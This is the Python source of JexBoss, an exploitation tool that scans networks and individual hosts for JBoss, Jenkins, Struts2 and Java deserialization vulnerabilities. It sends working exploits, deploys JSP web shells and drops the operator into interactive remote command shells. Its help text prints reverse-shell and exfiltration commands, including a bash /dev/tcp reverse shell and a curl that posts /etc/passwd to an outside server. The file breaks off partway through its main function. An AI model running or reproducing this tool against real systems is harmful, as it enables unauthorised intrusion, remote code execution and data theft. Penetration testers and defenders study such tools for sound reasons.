#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
JexBoss: Jboss verify and EXploitation Tool
https://github.com/joaomatosf/jexboss
Copyright 2013 João Filho Matos Figueiredo
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
import textwrap
import traceback
import logging
import datetime
import signal
import _exploits
import _updates
from os import name, system
import os, sys
import shutil
from zipfile import ZipFile
from time import sleep
from random import randint
import argparse, socket
from sys import argv, exit, version_info
logging.captureWarnings(True)
FORMAT = "%(asctime)s (%(levelname)s): %(message)s"
logging.basicConfig(filename='jexboss_'+str(datetime.datetime.today().date())+'.log', format=FORMAT, level=logging.INFO)
__author__ = "João Filho Matos Figueiredo <joaomatosf@gmail.com>"
__version__ = "1.2.4"
RED = '\x1b[91m'
RED1 = '\033[31m'
BLUE = '\033[94m'
GREEN = '\033[32m'
BOLD = '\033[1m'
NORMAL = '\033[0m'
ENDC = '\033[0m'
def print_and_flush(message, same_line=False):
if same_line:
print (message),
else:
print (message)
if not sys.stdout.isatty():
sys.stdout.flush()
if version_info[0] == 2 and version_info[1] < 7:
print_and_flush(RED1 + BOLD + "\n * You are using the Python version 2.6. The JexBoss requires version >= 2.7.\n"
"" + GREEN + " Please install the Python version >= 2.7. \n\n"
" Example for CentOS using Software Collections scl:\n"
" # yum -y install centos-release-scl\n"
" # yum -y install python27\n"
" # scl enable python27 bash\n" + ENDC)
logging.CRITICAL('Python version 2.6 is not supported.')
exit(0)
try:
import readline
readline.parse_and_bind('set editing-mode vi')
except:
logging.warning('Module readline not installed. The terminal will not support the arrow keys.', exc_info=traceback)
print_and_flush(RED1 + "\n * Module readline not installed. The terminal will not support the arrow keys.\n" + ENDC)
try:
from urllib.parse import urlencode
except ImportError:
from urllib import urlencode
try:
from urllib3.util import parse_url
from urllib3 import PoolManager
from urllib3 import ProxyManager
from urllib3 import make_headers
from urllib3.util import Timeout
except ImportError:
print_and_flush(RED1 + BOLD + "\n * Package urllib3 not installed. Please install the dependencies before continue.\n"
"" + GREEN + " Example: \n"
" # pip install -r requires.txt\n" + ENDC)
logging.critical('Module urllib3 not installed. See details:', exc_info=traceback)
exit(0)
try:
import ipaddress
except:
print_and_flush(RED1 + BOLD + "\n * Package ipaddress not installed. Please install the dependencies before continue.\n"
"" + GREEN + " Example: \n"
" # pip install -r requires.txt\n" + ENDC)
logging.critical('Module ipaddress not installed. See details:', exc_info=traceback)
exit(0)
global gl_interrupted
gl_interrupted = False
global gl_args
global gl_http_pool
def get_random_user_agent():
user_agents = ["Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:38.0) Gecko/20100101 Firefox/38.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:38.0) Gecko/20100101 Firefox/38.0",
"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.112 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_2) AppleWebKit/601.3.9 (KHTML, like Gecko) Version/9.0.2 Safari/601.3.9",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/44.0.2403.155 Safari/537.36",
"Mozilla/5.0 (Windows NT 5.1; rv:40.0) Gecko/20100101 Firefox/40.0",
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)",
"Mozilla/5.0 (compatible; MSIE 6.0; Windows NT 5.1)",
"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20100101 Firefox/31.0",
"Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36",
"Opera/9.80 (Windows NT 6.2; Win64; x64) Presto/2.12.388 Version/12.17",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0",
"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0"]
return user_agents[randint(0, len(user_agents) - 1)]
def is_proxy_ok():
print_and_flush(GREEN + "\n ** Checking proxy: %s **\n\n" % gl_args.proxy)
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"User-Agent": get_random_user_agent()}
try:
r = gl_http_pool.request('GET', gl_args.host, redirect=False, headers=headers)
except:
print_and_flush(RED + " * Error: Failed to connect to %s using proxy %s.\n"
" See logs for more details...\n" %(gl_args.host,gl_args.proxy) + ENDC)
logging.warning("Failed to connect to %s using proxy" %gl_args.host, exc_info=traceback)
return False
if r.status == 407:
print_and_flush(RED + " * Error 407: Proxy authentication is required. \n"
" Please enter the correct login and password for authentication. \n"
" Example: -P http://proxy.com:3128 -L username:password\n" + ENDC)
logging.error("Proxy authentication failed")
return False
elif r.status == 503 or r.status == 502:
print_and_flush(RED + " * Error %s: The service %s is not availabel to your proxy. \n"
" See logs for more details...\n" %(r.status,gl_args.host)+ENDC)
logging.error("Service unavailable to your proxy")
return False
else:
return True
def configure_http_pool():
global gl_http_pool
if gl_args.mode == 'auto-scan' or gl_args.mode == 'file-scan':
timeout = Timeout(connect=1.0, read=3.0)
else:
timeout = Timeout(connect=gl_args.timeout, read=6.0)
if gl_args.proxy:
# when using proxy, protocol should be informed
if (gl_args.host is not None and 'http' not in gl_args.host) or 'http' not in gl_args.proxy:
print_and_flush(RED + " * When using proxy, you must specify the http or https protocol"
" (eg. http://%s).\n\n" %(gl_args.host if 'http' not in gl_args.host else gl_args.proxy) +ENDC)
logging.critical('Protocol not specified')
exit(1)
try:
if gl_args.proxy_cred:
headers = make_headers(proxy_basic_auth=gl_args.proxy_cred)
gl_http_pool = ProxyManager(proxy_url=gl_args.proxy, proxy_headers=headers, timeout=timeout, cert_reqs='CERT_NONE')
else:
gl_http_pool = ProxyManager(proxy_url=gl_args.proxy, timeout=timeout, cert_reqs='CERT_NONE')
except:
print_and_flush(RED + " * An error occurred while setting the proxy. Please see log for details..\n\n" +ENDC)
logging.critical('Error while setting the proxy', exc_info=traceback)
exit(1)
else:
gl_http_pool = PoolManager(timeout=timeout, cert_reqs='CERT_NONE')
def handler_interrupt(signum, frame):
global gl_interrupted
gl_interrupted = True
print_and_flush ("Interrupting execution ...")
logging.info("Interrupting execution ...")
exit(1)
signal.signal(signal.SIGINT, handler_interrupt)
def check_connectivity(host, port):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(2)
s.connect((str(host), int(port)))
s.close()
except socket.timeout:
logging.info("Failed to connect to %s:%s" %(host,port))
return False
except:
logging.info("Failed to connect to %s:%s" % (host, port))
return False
return True
def check_vul(url):
"""
Test if a GET to a URL is successful
:param url: The URL to test
:return: A dict with the exploit type as the keys, and the HTTP status code as the value
"""
url_check = parse_url(url)
if '443' in str(url_check.port) and url_check.scheme != 'https':
url = "https://"+str(url_check.host)+":"+str(url_check.port)+str(url_check.path)
print_and_flush(GREEN + "\n ** Checking Host: %s **\n" % url)
logging.info("Checking Host: %s" % url)
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"User-Agent": get_random_user_agent()}
paths = {"jmx-console": "/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo",
"web-console": "/web-console/Invoker",
"JMXInvokerServlet": "/invoker/JMXInvokerServlet",
"admin-console": "/admin-console/",
"Application Deserialization": "",
"Servlet Deserialization" : "",
"Jenkins": "",
"Struts2": "",
"JMX Tomcat" : ""}
fatal_error = False
for vector in paths:
r = None
if gl_interrupted: break
try:
# check jmx tomcat only if specifically chosen
if (gl_args.jmxtomcat and vector != 'JMX Tomcat') or\
(not gl_args.jmxtomcat and vector == 'JMX Tomcat'): continue
if gl_args.app_unserialize and vector != 'Application Deserialization': continue
if gl_args.struts2 and vector != 'Struts2': continue
if gl_args.servlet_unserialize and vector != 'Servlet Deserialization': continue
if gl_args.jboss and vector not in ('jmx-console', 'web-console', 'JMXInvokerServlet', 'admin-console'): continue
if gl_args.jenkins and vector != 'Jenkins': continue
if gl_args.force:
paths[vector] = 200
continue
print_and_flush(GREEN + " [*] Checking %s: %s" % (vector, " " * (27 - len(vector))) + ENDC, same_line=True)
# check jenkins
if vector == 'Jenkins':
cli_port = None
# check version and search for CLI-Port
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
all_headers = r.getheaders()
# versions > 658 are not vulnerable
if 'X-Jenkins' in all_headers:
version = int(all_headers['X-Jenkins'].split('.')[1].split('.')[0])
if version >= 638:
paths[vector] = 505
continue
for h in all_headers:
if 'CLI-Port' in h:
cli_port = int(all_headers[h])
break
if cli_port is not None:
paths[vector] = 200
else:
paths[vector] = 505
# chek vul for Java Unserializable in Application Parameters
elif vector == 'Application Deserialization':
r = gl_http_pool.request('GET', url, redirect=False, headers=headers)
if r.status in (301, 302, 303, 307, 308):
cookie = r.getheader('set-cookie')
if cookie is not None: headers['Cookie'] = cookie
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
# link, obj = _exploits.get_param_value(r.data, gl_args.post_parameter)
obj = _exploits.get_serialized_obj_from_param(str(r.data), gl_args.post_parameter)
# if no obj serialized, check if there's a html refresh redirect and follow it
if obj is None:
# check if theres a redirect link
link = _exploits.get_html_redirect_link(str(r.data))
# If it is a redirect link. Follow it
if link is not None:
r = gl_http_pool.request('GET', url + "/" + link, redirect=True, headers=headers)
#link, obj = _exploits.get_param_value(r.data, gl_args.post_parameter)
obj = _exploits.get_serialized_obj_from_param(str(r.data), gl_args.post_parameter)
# if obj does yet None
if obj is None:
# search for other params that can be exploited
list_params = _exploits.get_list_params_with_serialized_objs(str(r.data))
if len(list_params) > 0:
paths[vector] = 110
print_and_flush(RED + " [ CHECK OTHER PARAMETERS ]" + ENDC)
print_and_flush(RED + "\n * The \"%s\" parameter does not appear to be vulnerable.\n" %gl_args.post_parameter +
" But there are other parameters that it seems to be xD!\n" +ENDC+GREEN+
BOLD+ "\n Try these other parameters: \n" +ENDC)
for p in list_params:
print_and_flush(GREEN + " -H %s" %p+ ENDC)
print ("")
elif obj is not None and obj == 'stateless':
paths[vector] = 100
elif obj is not None:
paths[vector] = 200
# chek vul for Java Unserializable in viewState
elif vector == 'Servlet Deserialization':
r = gl_http_pool.request('GET', url, redirect=False, headers=headers)
if r.status in (301, 302, 303, 307, 308):
cookie = r.getheader('set-cookie')
if cookie is not None: headers['Cookie'] = cookie
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)
if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'):
paths[vector] = 200
else:
paths[vector] = 505
elif vector == 'Struts2':
result = _exploits.exploit_struts2_jakarta_multipart(url, 'jexboss', gl_args.cookies)
if result is None or "Could not get command" in str(result) :
paths[vector] = 100
elif 'jexboss' in str(result) and "<html>" not in str(result).lower():
paths[vector] = 200
else:
paths[vector] = 505
elif vector == 'JMX Tomcat':
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(7)
host_rmi = url.split(':')[0]
port_rmi = int(url.split(':')[1])
s.connect((host_rmi, port_rmi))
s.send(b"JRMI\x00\x02K")
msg = s.recv(1024)
octets = str(msg[3:]).split(".")
if len(octets) != 4:
paths[vector] = 505
else:
paths[vector] = 200
# check jboss vectors
elif vector == "JMXInvokerServlet":
# user privided web-console path and checking JMXInvoker...
if "/web-console/Invoker" in url:
paths[vector] = 505
# if the user not provided the path, append the "/invoker/JMXInvokerServlet"
else:
if not url.endswith(str(paths[vector])) and not url.endswith(str(paths[vector])+"/"):
url_to_check = url + str(paths[vector])
else:
url_to_check = url
r = gl_http_pool.request('HEAD', url_to_check , redirect=False, headers=headers)
# if head method is not allowed/supported, try GET
if r.status in (405, 406):
r = gl_http_pool.request('GET', url_to_check , redirect=False, headers=headers)
# if web-console/Invoker or invoker/JMXInvokerServlet
if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'):
paths[vector] = 200
else:
paths[vector] = 505
elif vector == "web-console":
# user privided JMXInvoker path and checking web-console...
if "/invoker/JMXInvokerServlet" in url:
paths[vector] = 505
# if the user not provided the path, append the "/web-console/..."
else:
if not url.endswith(str(paths[vector])) and not url.endswith(str(paths[vector]) + "/"):
url_to_check = url + str(paths[vector])
else:
url_to_check = url
r = gl_http_pool.request('HEAD', url_to_check, redirect=False, headers=headers)
# if head method is not allowed/supported, try GET
if r.status in (405, 406):
r = gl_http_pool.request('GET', url_to_check, redirect=False, headers=headers)
# if web-console/Invoker or invoker/JMXInvokerServlet
if r.getheader('Content-Type') is not None and 'x-java-serialized-object' in r.getheader('Content-Type'):
paths[vector] = 200
else:
paths[vector] = 505
# other jboss vector
else:
r = gl_http_pool.request('HEAD', url + str(paths[vector]), redirect=False, headers=headers)
# if head method is not allowed/supported, try GET
if r.status in (405, 406):
r = gl_http_pool.request('GET', url + str(paths[vector]), redirect=False, headers=headers)
# check if the server respond with 200/500 for all requests
if r.status in (200, 500):
r = gl_http_pool.request('GET', url + str(paths[vector])+ '/github.com/joaomatosf/jexboss', redirect=False,headers=headers)
if r.status == 200:
r.status = 505
else:
r.status = 200
paths[vector] = r.status
# ----------------
# Analysis of the results
# ----------------
# check if the proxy do not support running in the same port of the target
if r is not None and r.status == 400 and gl_args.proxy:
if parse_url(gl_args.proxy).port == url_check.port:
print_and_flush(RED + "[ ERROR ]\n * An error occurred because the proxy server is running on the "
"same port as the server port (port %s).\n"
" Please use a different port in the proxy.\n" % url_check.port + ENDC)
logging.critical("Proxy returns 400 Bad Request because is running in the same port as the server")
fatal_error = True
break
# check if it's false positive
if r is not None and len(r.getheaders()) == 0:
print_and_flush(RED + "[ ERROR ]\n * The server %s is not an HTTP server.\n" % url + ENDC)
logging.error("The server %s is not an HTTP server." % url)
for key in paths: paths[key] = 505
break
if paths[vector] in (301, 302, 303, 307, 308):
url_redirect = r.get_redirect_location()
print_and_flush(GREEN + " [ REDIRECT ]\n * The server sent a redirect to: %s\n" % url_redirect)
elif paths[vector] == 200 or paths[vector] == 500:
if vector == "admin-console":
print_and_flush(RED + " [ EXPOSED ]" + ENDC)
logging.info("Server %s: EXPOSED" %url)
elif vector == "Jenkins":
print_and_flush(RED + " [ POSSIBLE VULNERABLE ]" + ENDC)
logging.info("Server %s: RUNNING JENKINS" %url)
elif vector == "JMX Tomcat":
print_and_flush(RED + " [ MAYBE VULNERABLE ]" + ENDC)
logging.info("Server %s: RUNNING JENKINS" %url)
else:
print_and_flush(RED + " [ VULNERABLE ]" + ENDC)
logging.info("Server %s: VULNERABLE" % url)
elif paths[vector] == 100:
paths[vector] = 200
print_and_flush(RED + " [ INCONCLUSIVE - NEED TO CHECK ]" + ENDC)
logging.info("Server %s: INCONCLUSIVE - NEED TO CHECK" % url)
elif paths[vector] == 110:
logging.info("Server %s: CHECK OTHERS PARAMETERS" % url)
else:
print_and_flush(GREEN + " [ OK ]")
except Exception as err:
print_and_flush(RED + "\n * An error occurred while connecting to the host %s (%s)\n" % (url, err) + ENDC)
logging.info("An error occurred while connecting to the host %s" % url, exc_info=traceback)
paths[vector] = 505
if fatal_error:
exit(1)
else:
return paths
def auto_exploit(url, exploit_type):
"""
Automatically exploit a URL
:param url: The URL to exploit
:param exploit_type: One of the following
exploitJmxConsoleFileRepository: tested and working in JBoss 4 and 5
exploitJmxConsoleMainDeploy: tested and working in JBoss 4 and 6
exploitWebConsoleInvoker: tested and working in JBoss 4
exploitJMXInvokerFileRepository: tested and working in JBoss 4 and 5
exploitAdminConsole: tested and working in JBoss 5 and 6 (with default password)
"""
if exploit_type in ("Application Deserialization", "Servlet Deserialization"):
print_and_flush(GREEN + "\n * Preparing to send exploit to %s. Please wait...\n" % url)
else:
print_and_flush(GREEN + "\n * Sending exploit code to %s. Please wait...\n" % url)
result = 505
if exploit_type == "jmx-console":
result = _exploits.exploit_jmx_console_file_repository(url)
if result != 200 and result != 500:
result = _exploits.exploit_jmx_console_main_deploy(url)
elif exploit_type == "web-console":
# if the user not provided the path
if url.endswith("/web-console/Invoker") or url.endswith("/web-console/Invoker/"):
url = url.replace("/web-console/Invoker", "")
result = _exploits.exploit_web_console_invoker(url)
if result == 404:
host, port = get_host_port_reverse_params()
if host == port == gl_args.cmd == None: return False
result = _exploits.exploit_servlet_deserialization(url + "/web-console/Invoker", host=host, port=port,
cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget,
gadget_file=gl_args.load_gadget)
elif exploit_type == "JMXInvokerServlet":
# if the user not provided the path
if url.endswith("/invoker/JMXInvokerServlet") or url.endswith("/invoker/JMXInvokerServlet/"):
url = url.replace("/invoker/JMXInvokerServlet", "")
result = _exploits.exploit_jmx_invoker_file_repository(url, 0)
if result != 200 and result != 500:
result = _exploits.exploit_jmx_invoker_file_repository(url, 1)
if result == 404:
host, port = get_host_port_reverse_params()
if host == port == gl_args.cmd == None: return False
result = _exploits.exploit_servlet_deserialization(url + "/invoker/JMXInvokerServlet", host=host, port=port,
cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget,
gadget_file=gl_args.load_gadget)
elif exploit_type == "admin-console":
result = _exploits.exploit_admin_console(url, gl_args.jboss_login)
elif exploit_type == "Jenkins":
host, port = get_host_port_reverse_params()
if host == port == gl_args.cmd == None: return False
result = _exploits.exploit_jenkins(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows,
gadget=gl_args.gadget, show_payload=gl_args.show_payload)
elif exploit_type == "JMX Tomcat":
host, port = get_host_port_reverse_params()
if host == port == gl_args.cmd == None: return False
result = _exploits.exploit_jrmi(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows)
elif exploit_type == "Application Deserialization":
host, port = get_host_port_reverse_params()
if host == port == gl_args.cmd == gl_args.load_gadget == None: return False
result = _exploits.exploit_application_deserialization(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows,
param=gl_args.post_parameter, force=gl_args.force,
gadget_type=gl_args.gadget, show_payload=gl_args.show_payload,
gadget_file=gl_args.load_gadget)
elif exploit_type == "Servlet Deserialization":
host, port = get_host_port_reverse_params()
if host == port == gl_args.cmd == gl_args.load_gadget == None: return False
result = _exploits.exploit_servlet_deserialization(url, host=host, port=port, cmd=gl_args.cmd, is_win=gl_args.windows,
gadget=gl_args.gadget, gadget_file=gl_args.load_gadget)
elif exploit_type == "Struts2":
result = 200
# if it seems to be exploited (201 is for jboss exploited with gadget)
if result == 200 or result == 500 or result == 201:
# if not auto_exploit, ask type enter to continue...
if not gl_args.auto_exploit:
if exploit_type in ("Application Deserialization", "Jenkins", "JMX Tomcat", "Servlet Deserialization") or result == 201:
print_and_flush(BLUE + " * The exploit code was successfully sent. Check if you received the reverse shell\n"
" connection on your server or if your command was executed. \n"+ ENDC+
" Type [ENTER] to continue...\n")
# wait while enter is typed
input().lower() if version_info[0] >= 3 else raw_input().lower()
return True
else:
if exploit_type == 'Struts2':
shell_http_struts(url)
else:
print_and_flush(GREEN + " * Successfully deployed code! Starting command shell. Please wait...\n" + ENDC)
shell_http(url, exploit_type)
# if auto exploit mode, print message and continue...
else:
print_and_flush(GREEN + " * Successfully deployed/sended code via vector %s\n *** Run JexBoss in Standalone mode "
"to open command shell. ***" %(exploit_type) + ENDC)
return True
# if not exploited, print error messagem and ask for type enter
else:
if exploit_type == 'admin-console':
print_and_flush(GREEN + "\n * You can still try to exploit deserialization vulnerabilitie in ViewState!\n" +
" Try this: python jexboss.py -u %s/admin-console/login.seam --app-unserialize\n" %url +
" Type [ENTER] to continue...\n" + ENDC)
else:
print_and_flush(RED + "\n * Could not exploit the flaw automatically. Exploitation requires manual analysis...\n" +
" Type [ENTER] to continue...\n" + ENDC)
logging.error("Could not exploit the server %s automatically. HTTP Code: %s" %(url, result))
# wait while enter is typed
input().lower() if version_info[0] >= 3 else raw_input().lower()
return False
def ask_for_reverse_host_and_port():
print_and_flush(GREEN + " * Please enter the IP address and tcp PORT of your listening server for try to get a REVERSE SHELL.\n"
" OBS: You can also use the --cmd \"command\" to send specific commands to run on the server."+NORMAL)
# If not *nix (that is, if somethine like git bash on Rwindow$)
if not sys.stdout.isatty():
print_and_flush(" IP Address (RHOST): ", same_line=True)
host = input().lower() if version_info[0] >= 3 else raw_input().lower()
print_and_flush(" Port (RPORT): ", same_line=True)
port = input().lower() if version_info[0] >= 3 else raw_input().lower()
else:
host = input(" IP Address (RHOST): ").lower() if version_info[0] >= 3 else raw_input(" IP Address (RHOST): ").lower()
port = input(" Port (RPORT): ").lower() if version_info[0] >= 3 else raw_input(" Port (RPORT): ").lower()
print ("")
return str(host), str(port)
def get_host_port_reverse_params():
# if reverse host were provided in the args, take it
if gl_args.reverse_host:
if gl_args.windows:
jexboss.print_and_flush(RED + "\n * WINDOWS Systems still do not support reverse shell.\n"
" Use option --cmd instead of --reverse-shell...\n" + ENDC +
" Type [ENTER] to continue...\n")
# wait while enter is typed
input().lower() if version_info[0] >= 3 else raw_input().lower()
return None, None
tokens = gl_args.reverse_host.split(":")
if len(tokens) != 2:
host, port = ask_for_reverse_host_and_port()
else:
host = tokens[0]
port = tokens[1]
# if neither cmd nor reverse nor load_gadget was provided, ask host and port
elif gl_args.cmd is None and gl_args.load_gadget is None:
host, port = ask_for_reverse_host_and_port()
else:
# if cmd or gadget file ware privided
host, port = None, None
return host, port
def shell_http_struts(url):
"""
Connect to an HTTP shell
:param url: struts app url
:param shell_type: The type of shell to connect to
"""
print_and_flush("# ----------------------------------------- #\n")
print_and_flush(GREEN + BOLD + " * For a Reverse Shell (like meterpreter =]), type sometime like: \n\n"
"\n" +ENDC+
" Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1\n"
" \n"+GREEN+
" And so on... =]\n" +ENDC
)
print_and_flush("# ----------------------------------------- #\n")
resp = _exploits.exploit_struts2_jakarta_multipart(url,'whoami', gl_args.cookies)
print_and_flush(resp.replace('\\n', '\n'), same_line=True)
logging.info("Server %s exploited!" %url)
while 1:
print_and_flush(BLUE + "[Type commands or \"exit\" to finish]" +ENDC)
if not sys.stdout.isatty():
print_and_flush("Shell> ", same_line=True)
cmd = input() if version_info[0] >= 3 else raw_input()
else:
cmd = input("Shell> ") if version_info[0] >= 3 else raw_input("Shell> ")
if cmd == "exit":
break
resp = _exploits.exploit_struts2_jakarta_multipart(url, cmd, gl_args.cookies)
print_and_flush(resp.replace('\\n', '\n'))
# FIX: capture the readtimeout File "jexboss.py", line 333, in shell_http
def shell_http(url, shell_type):
"""
Connect to an HTTP shell
:param url: The URL to connect to
:param shell_type: The type of shell to connect to
"""
headers = {"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Connection": "keep-alive",
"User-Agent": get_random_user_agent()}
if gl_args.disable_check_updates:
headers['no-check-updates'] = 'true'
if shell_type == "jmx-console" or shell_type == "web-console" or shell_type == "admin-console":
path = '/jexws4/jexws4.jsp?'
elif shell_type == "JMXInvokerServlet":
path = '/jexinv4/jexinv4.jsp?'
gl_http_pool.request('GET', url+path, redirect=False, headers=headers)
sleep(7)
resp = ""
print_and_flush("# ----------------------------------------- # LOL # ----------------------------------------- #\n")
print_and_flush(RED + " * " + url + ": \n" + ENDC)
print_and_flush("# ----------------------------------------- #\n")
print_and_flush(GREEN + BOLD + " * For a Reverse Shell (like meterpreter =]), type the command: \n\n"
" jexremote=YOUR_IP:YOUR_PORT\n\n" + ENDC + GREEN +
" Example:\n" +ENDC+
" Shell>jexremote=192.168.0.10:4444\n"
"\n" +GREEN+
" Or use other techniques of your choice, like:\n" +ENDC+
" Shell>/bin/bash -i > /dev/tcp/192.168.0.10/4444 0>&1 2>&1\n"
" \n"+GREEN+
" And so on... =]\n" +ENDC
)
print_and_flush("# ----------------------------------------- #\n")
for cmd in ['uname -a', 'cat /etc/issue', 'id']:
cmd = urlencode({"ppp": cmd})
try:
r = gl_http_pool.request('GET', url + path + cmd, redirect=False, headers=headers)
resp += " " + str(r.data).split(">")[1]
except:
print_and_flush(RED + " * Apparently an IPS is blocking some requests. Check for updates will be disabled...\n\n"+ENDC)
logging.warning("Disabling checking for updates.", exc_info=traceback)
headers['no-check-updates'] = 'true'
print_and_flush(resp.replace('\\n', '\n'), same_line=True)
logging.info("Server %s exploited!" %url)
while 1:
print_and_flush(BLUE + "[Type commands or \"exit\" to finish]" +ENDC)
if not sys.stdout.isatty():
print_and_flush("Shell> ", same_line=True)
cmd = input() if version_info[0] >= 3 else raw_input()
else:
cmd = input("Shell> ") if version_info[0] >= 3 else raw_input("Shell> ")
if cmd == "exit":
break
cmd = urlencode({"ppp": cmd})
try:
r = gl_http_pool.request('GET', url + path + cmd, redirect=False, headers=headers)
except:
print_and_flush(RED + " * Error contacting the command shell. Try again and see logs for details ...")
logging.error("Error contacting the command shell", exc_info=traceback)
continue
resp = str(r.data)
if r.status == 404:
print_and_flush(RED + " * Error contacting the command shell. Try again later...")
continue
stdout = ""
try:
stdout = resp.split("pre>")[1]
except:
print_and_flush(RED + " * Error contacting the command shell. Try again later...")
if stdout.count("An exception occurred processing JSP page") == 1:
print_and_flush(RED + " * Error executing command \"%s\". " % cmd.split("=")[1] + ENDC)
else:
print_and_flush(stdout.replace('\\n', '\n'))
def clear():
"""
Clears the console
"""
if name == 'posix':
system('clear')
elif name == ('ce', 'nt', 'dos'):
system('cls')
def banner():
"""
Print the banner
"""
clear()
print_and_flush(RED1 + "\n * --- JexBoss: Jboss verify and EXploitation Tool --- *\n"
" | * And others Java Deserialization Vulnerabilities * | \n"
" | |\n"
" | @author: João Filho Matos Figueiredo |\n"
" | @contact: joaomatosf@gmail.com |\n"
" | |\n"
" | @update: https://github.com/joaomatosf/jexboss |\n"
" #______________________________________________________#\n")
print_and_flush(RED1 + " @version: %s" % __version__)
print_and_flush (ENDC)
def help_usage():
usage = (BOLD + BLUE + " Examples: [for more options, type python jexboss.py -h]\n" + ENDC +
BLUE + "\n For simple usage, you must provide the host name or IP address you\n"
" want to test [-host or -u]:\n" +
GREEN + "\n $ python jexboss.py -u https://site.com.br" +
BLUE + "\n\n For Java Deserialization Vulnerabilities in HTTP POST parameters. \n"
" This will ask for an IP address and port to try to get a reverse shell:\n" +
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize" +
BLUE + "\n\n For Java Deserialization Vulnerabilities in a custom HTTP parameter and \n"
" to send a custom command to be executed on the exploited server:\n" +
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize\n"
" -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'" +
BLUE + "\n\n For Java Deserialization Vulnerabilities in a Servlet (like Invoker):\n"+
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize\n" +
BLUE + "\n\n To test Java Deserialization Vulnerabilities with DNS Lookup:\n" +
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/path --gadget dns --dns test.yourdomain.com" +
BLUE + "\n\n For Jenkins CLI Deserialization Vulnerabilitie:\n"+
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/jenkins --jenkins"+
BLUE + "\n\n For Apache Struts2 Vulnerabilities (CVE-2017-5638):\n" +
GREEN + "\n $ python jexboss.py -u http://vulnerable_java_app/path.action --struts2\n" +
BLUE + "\n\n For auto scan mode, you must provide the network in CIDR format, "
"\n list of ports and filename for store results:\n" +
GREEN + "\n $ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 \n"
" -results report_auto_scan.log" +
BLUE + "\n\n For file scan mode, you must provide the filename with host list "
"\n to be scanned (one host per line) and filename for store results:\n" +
GREEN + "\n $ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log\n" + ENDC)
return usage
def network_args(string):
try:
if version_info[0] >= 3:
value = ipaddress.ip_network(string)
else:
value = ipaddress.ip_network(unicode(string))
except:
msg = "%s is not a network address in CIDR format." % string
logging.error("%s is not a network address in CIDR format." % string)
raise argparse.ArgumentTypeError(msg)
return value
def main():
"""
Run interactively. Call when the module is run by itself.
:return: Exit code
"""
# check for Updates
if not gl_args.disable_check_updates:
updates = _updates.check_updates()
if updates:
print_and_flush(BLUE + BOLD + "\n\n * An update is available and is recommended update before continuing.\n" +
" Do you want to update now?")
if not sys.stdout.isatty():
print_and_flush(" YES/no? ", same_line=True)
pick = input().lower() if version_info[0] >= 3 else raw_input().lower()
else:
pick = input(" YES/no? ").lower() if version_info[0] >= 3 else raw_input(" YES/no? ").lower()
print_and_flush(ENDC)
if pick != "no":
updated = _updates.auto_update()
if updated:
print_and_flush(GREEN + BOLD + "\n * The JexBoss has been successfully updated. Please run again to enjoy the updates.\n" +ENDC)
exit(0)
else:
print_and_flush(RED + BOLD + "\n\n * An error occurred while updating the JexBoss. Please try again..\n" +ENDC)
exit(1)
vulnerables = False
# check vulnerabilities for standalone mode
if gl_args.mode == 'standalone':
url = gl_args.host
scan_results = check_vul(url)
# performs exploitation for jboss vulnerabilities
for vector in scan_results:
if scan_results[vector] == 200 or scan_results[vector] == 500:
vulnerables = True
if gl_args.auto_exploit:
auto_exploit(url, vector)
else:
if vector == "Application Deserialization":
